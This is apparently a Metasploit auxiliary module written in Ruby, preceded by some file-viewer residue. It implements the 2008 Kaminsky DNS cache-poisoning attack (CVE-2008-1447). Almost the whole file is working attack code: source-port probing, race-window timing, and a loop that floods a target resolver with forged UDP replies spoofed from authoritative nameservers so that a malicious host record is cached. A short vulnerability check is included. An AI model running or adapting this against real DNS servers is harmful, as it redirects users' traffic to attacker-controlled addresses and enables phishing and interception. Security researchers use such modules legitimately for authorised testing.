483 lines
14 KiB
Ruby
483 lines
14 KiB
Ruby
require 'msf/core'
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require 'net/dns'
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require 'racket'
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require 'resolv'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Capture
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'DNS BailiWicked Host Attack',
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'Description' => %q{
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This exploit attacks a fairly ubiquitous flaw in DNS implementations which
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Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
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malicious host entry into the target nameserver by sending random hostname
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queries to the target DNS server coupled with spoofed replies to those
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queries from the authoritative nameservers for that domain. Eventually, a
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guessed ID will match, the spoofed packet will get accepted, and due to the
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additional hostname entry being within bailiwick constraints of the original
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request the malicious host entry will get cached.
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},
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'Author' => [ 'I)ruid', 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-1447' ],
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[ 'US-CERT-VU', '800113' ],
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[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
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],
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'DisclosureDate' => 'Jul 21 2008'
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))
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register_options(
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[
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OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
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OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
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OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
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OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
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OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
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OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
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OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),
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], self.class)
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deregister_options('FILTER','PCAPFILE')
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end
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def auxiliary_commands
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return {
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"check" => "Determine if the specified DNS server (RHOST) is vulnerable",
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"racer" => "Determine the size of the window for the target server",
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}
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end
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def cmd_racer(*args)
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targ = args[0] || rhost()
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dom = args[1] || "example.com"
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if !(targ and targ.length > 0)
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print_status("usage: racer [dns-server] [domain]")
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return
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end
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calculate_race(targ, dom)
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end
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def cmd_check(*args)
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targ = args[0] || rhost()
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if !(targ and targ.length > 0)
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print_status("usage: check [dns-server]")
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return
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end
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print_status("Using the Metasploit service to verify exploitability...")
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srv_sock = Rex::Socket.create_udp(
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'PeerHost' => targ,
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'PeerPort' => 53
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)
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random = false
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ports = {}
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lport = nil
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reps = 0
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1.upto(30) do |i|
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req = Resolv::DNS::Message.new
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txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
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req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
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req.rd = 1
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srv_sock.put(req.encode)
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res, addr = srv_sock.recvfrom(65535, 1.0)
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if res and res.length > 0
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reps += 1
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res = Resolv::DNS::Message.decode(res)
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res.each_answer do |name, ttl, data|
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if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
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t_addr, t_port = $1.split(':')
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print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
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t_port = t_port.to_i
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if(lport and lport != t_port)
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random = true
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end
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lport = t_port
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ports[t_port] ||=0
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ports[t_port] +=1
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end
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end
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end
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if(i>5 and ports.keys.length == 0)
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break
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end
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end
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srv_sock.close
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if(ports.keys.length == 0)
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print_status("ERROR: This server is not replying to recursive requests")
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return
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end
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if(reps < 30)
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print_status("WARNING: This server did not reply to all of our requests")
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end
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if(random)
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ports_u = ports.keys.length
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ports_r = ((ports.keys.length/30.0)*100).to_i
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print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
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if(ports_r != 100)
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print_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
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end
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else
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print_status("FAIL: This server uses a static source port and is vulnerable to poisoning")
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end
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end
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def run
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target = rhost()
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source = Rex::Socket.source_address(target)
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saddr = datastore['SRCADDR']
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sport = datastore['SRCPORT']
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hostname = datastore['HOSTNAME'] + '.'
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address = datastore['NEWADDR']
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recons = datastore['RECONS']
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xids = datastore['XIDS'].to_i
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newttl = datastore['TTL'].to_i
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xidbase = rand(20001) + 20000
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numxids = xids
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domain = hostname.sub(/\w+\x2e/,"")
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srv_sock = Rex::Socket.create_udp(
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'PeerHost' => target,
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'PeerPort' => 53
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)
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# Get the source port via the metasploit service if it's not set
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if sport.to_i == 0
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req = Resolv::DNS::Message.new
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txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
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req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
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req.rd = 1
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srv_sock.put(req.encode)
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res, addr = srv_sock.recvfrom()
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if res and res.length > 0
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res = Resolv::DNS::Message.decode(res)
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res.each_answer do |name, ttl, data|
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if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
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t_addr, t_port = $1.split(':')
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sport = t_port.to_i
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print_status("Switching to target port #{sport} based on Metasploit service")
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if target != t_addr
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print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
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end
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end
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end
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end
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end
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# Verify its not already cached
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begin
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query = Resolv::DNS::Message.new
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query.add_question(hostname, Resolv::DNS::Resource::IN::A)
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query.rd = 0
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begin
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cached = false
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srv_sock.put(query.encode)
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answer, addr = srv_sock.recvfrom()
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if answer and answer.length > 0
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answer = Resolv::DNS::Message.decode(answer)
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answer.each_answer do |name, ttl, data|
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if((name.to_s + ".") == hostname)
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t = Time.now + ttl
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print_status("Failure: This hostname is already in the target cache: #{name}")
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print_status(" Cache entry expires on #{t}... sleeping.")
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cached = true
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sleep ttl
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end
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end
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end
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end until not cached
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rescue ::Interrupt
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raise $!
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rescue ::Exception => e
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print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
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end
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res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
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print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
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# Look up the nameservers for the domain
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print_status "Querying recon nameserver for #{domain}'s nameservers..."
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answer0 = res0.send(domain, Net::DNS::NS)
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#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
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barbs = [] # storage for nameservers
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answer0.answer.each do |rr0|
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print_status " Got an #{rr0.type} record: #{rr0.inspect}"
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if rr0.type == 'NS'
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print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
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answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
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#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
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answer1.answer.each do |rr1|
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print_status " Got an #{rr1.type} record: #{rr1.inspect}"
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res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
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print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
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answer2 = res2.send(domain, Net::DNS::SOA)
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if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
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nsrec = {:name => rr0.nsdname, :addr => rr1.address}
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barbs << nsrec
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print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
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end
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end
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end
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end
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if barbs.length == 0
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print_status( "No DNS servers found.")
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srv_sock.close
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close_pcap
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return
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end
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if(xids == 0)
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print_status("Calculating the number of spoofed replies to send per query...")
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qcnt = calculate_race(target, domain, 100)
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numxids = ((qcnt * 1.5) / barbs.length).to_i
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if(numxids == 0)
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print_status("The server did not reply, giving up.")
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srv_sock.close
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close_pcap
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return
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end
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print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
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end
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# Flood the target with queries and spoofed responses, one will eventually hit
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queries = 0
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responses = 0
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open_pcap unless self.capture
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print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
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while true
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randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname
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# Send spoofed query
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req = Resolv::DNS::Message.new
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req.id = rand(2**16)
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req.add_question(randhost, Resolv::DNS::Resource::IN::A)
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req.rd = 1
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src_ip = source
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if(saddr == 'Random')
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src_ip = Rex::Text.rand_text(4).unpack("C4").join(".")
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end
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n = Racket::Racket.new
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n.l3 = Racket::L3::IPv4.new
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n.l3.src_ip = src_ip
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n.l3.dst_ip = target
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n.l3.protocol = 17
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n.l3.id = rand(0x10000)
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n.l3.ttl = 255
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n.l4 = Racket::L4::UDP.new
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n.l4.src_port = (rand((2**16)-1024)+1024).to_i
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n.l4.dst_port = 53
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n.l4.payload = req.encode
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n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
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buff = n.pack
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capture_sendto(buff, target)
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queries += 1
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# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
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req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
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req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
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req.add_additional(hostname, newttl, Resolv::DNS::Resource::IN::A.new(address))
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req.qr = 1
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req.ra = 1
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# Reuse our Racket object
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n.l4.src_port = 53
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n.l4.dst_port = sport.to_i
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n.l4.payload = req.encode
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xidbase.upto(xidbase+numxids-1) do |id|
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req.id = id
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barbs.each do |barb|
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n.l3.src_ip = barb[:addr].to_s
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n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
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buff = n.pack
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capture_sendto(buff, target)
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responses += 1
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end
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end
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# status update
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if queries % 1000 == 0
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print_status("Sent #{queries} queries and #{responses} spoofed responses...")
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if(xids == 0)
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print_status("Recalculating the number of spoofed replies to send per query...")
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qcnt = calculate_race(target, domain, 25)
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numxids = ((qcnt * 1.5) / barbs.length).to_i
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if(numxids == 0)
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print_status("The server has stopped replying, giving up.")
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srv_sock.close
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close_pcap
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return
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end
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print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
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end
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end
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# every so often, check and see if the target is poisoned...
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if queries % 250 == 0
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begin
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query = Resolv::DNS::Message.new
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query.add_question(hostname, Resolv::DNS::Resource::IN::A)
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query.rd = 0
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srv_sock.put(query.encode)
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answer, addr = srv_sock.recvfrom()
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if answer and answer.length > 0
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answer = Resolv::DNS::Message.decode(answer)
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answer.each_answer do |name, ttl, data|
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if((name.to_s + ".") == hostname)
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print_status("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")
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print_status("TTL: #{ttl} DATA: #{data}")
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close_pcap
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return
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end
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end
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end
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rescue ::Interrupt
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raise $!
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rescue ::Exception => e
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print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
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end
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end
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end
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end
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#
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# Send a recursive query to the target server, then flood
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# the server with non-recursive queries for the same entry.
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# Calculate how many non-recursive queries we receive back
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# until the real server responds. This should give us a
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# ballpark figure for ns->ns latency. We can repeat this
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# a few times to account for each nameserver the cache server
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# may query for the target domain.
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#
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def calculate_race(server, domain, num=50)
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q_beg_t = nil
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q_end_t = nil
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cnt = 0
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times = []
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hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
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sock = Rex::Socket.create_udp(
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'PeerHost' => server,
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'PeerPort' => 53
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)
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req = Resolv::DNS::Message.new
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req.add_question(hostname, Resolv::DNS::Resource::IN::A)
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req.rd = 1
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req.id = 1
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q_beg_t = Time.now.to_f
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sock.put(req.encode)
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req.rd = 0
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while(times.length < num)
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res, addr = sock.recvfrom(65535, 0.01)
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if res and res.length > 0
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res = Resolv::DNS::Message.decode(res)
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if(res.id == 1)
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times << [Time.now.to_f - q_beg_t, cnt]
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cnt = 0
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hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
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sock.close
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sock = Rex::Socket.create_udp(
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'PeerHost' => server,
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'PeerPort' => 53
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)
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q_beg_t = Time.now.to_f
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req = Resolv::DNS::Message.new
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req.add_question(hostname, Resolv::DNS::Resource::IN::A)
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req.rd = 1
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req.id = 1
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sock.put(req.encode)
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req.rd = 0
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end
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cnt += 1
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end
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req.id += 1
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sock.put(req.encode)
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end
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min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0
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max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0
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sum = 0
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times.each{|i| sum += i[0]}
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avg_time = ( (sum / times.length) * 100).to_i / 100.0
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min_count = times.map{|i| i[1]}.min
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max_count = times.map{|i| i[1]}.max
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sum = 0
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times.each{|i| sum += i[1]}
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avg_count = sum / times.length
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sock.close
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print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
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# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
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avg_count
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end
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end
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